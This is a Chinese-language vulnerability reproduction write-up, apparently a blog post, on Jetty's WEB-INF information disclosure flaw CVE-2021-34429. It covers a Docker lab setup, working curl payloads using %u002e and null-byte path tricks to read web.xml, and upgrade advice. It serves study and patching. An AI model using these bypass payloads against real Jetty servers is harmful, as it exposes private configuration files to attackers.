漏洞复现-Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)
漏洞背景
CVE-2021-34429 是一个影响 Jetty 的安全漏洞,该漏洞是之前修复的 CVE-2021-28164 漏洞的变种和绕过。攻击者可以通过特定的路径构造绕过 Jetty 的路径限制,访问 WEB-INF 目录下的敏感文件,如 web.xml,导致敏感信息泄露。
漏洞原理
-
Unicode URL 编码:Jetty 在解析路径时,对 Unicode 形式的 URL 编码处理不当,导致攻击者可以通过
%u002e(.的 Unicode 编码)绕过路径限制。 -
\0组合.和..:Jetty 在处理路径时,对\0字符的处理存在缺陷,攻击者可以通过在路径中插入\0字符,结合.或..来绕过路径限制。
影响版本
- Jetty 9.4.37 - 9.4.42
- Jetty 10.0.1 - 10.0.5
- Jetty 11.0.1 - 11.0.5
漏洞环境搭建
-
启动 Jetty 9.4.40 服务器:
使用 Docker 启动一个 Jetty 9.4.40 服务器:
docker compose up -d

-
访问示例页面:
服务启动后,访问
http://your-ip:8080可以查看到一个示例页面。

查看一下要读取的目标文件web.xml内容

漏洞复现
-
直接访问
/WEB-INF/web.xml:直接访问
/WEB-INF/web.xml通常会返回 404 错误,因为 Jetty 默认不允许直接访问WEB-INF目录下的文件。curl http://your-ip:8080/WEB-INF/web.xml输出示例:
<html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 404 Not Found</title> </head> <body><h2>HTTP ERROR 404 Not Found</h2> ... </body> </html> -
使用 Unicode 形式的 URL 编码绕过限制:
通过 Unicode 形式的 URL 编码构造路径,绕过 Jetty 的路径限制,访问
web.xml文件:
curl http://192.168.253.138:8080/%u002e/WEB-INF/web.xml

其他绕过方式
除了 Unicode 形式的 URL 编码,攻击者还可以使用以下两种方式绕过限制:
-
\0组合.导致的绕过:curl http://192.168.253.138:8080/.%00/WEB-INF/web.xml -
\0组合..导致的绕过:curl http://192.168.253.138:8080/a/b/..%00/WEB-INF/web.xml

修复建议
-
升级 Jetty:建议升级到 Jetty 9.4.43 或更高版本,或 Jetty 10.0.6、11.0.6 或更高版本,以修复此漏洞。
-
安全配置:在生产环境中,确保对
WEB-INF目录下的文件进行严格的访问控制,避免敏感信息泄露。
总结
通过特定的路径构造,攻击者可以绕过 Jetty 的路径限制,访问 WEB-INF 目录下的敏感文件。此漏洞影响多个 Jetty 版本,建议及时升级以修复漏洞,并加强服务器的安全配置。
&spm=1001.2101.3001.5002&articleId=148511215&d=1&t=3&u=211d8b7f051148ffb60d1d99e7617aec)

被折叠的 条评论
为什么被折叠?



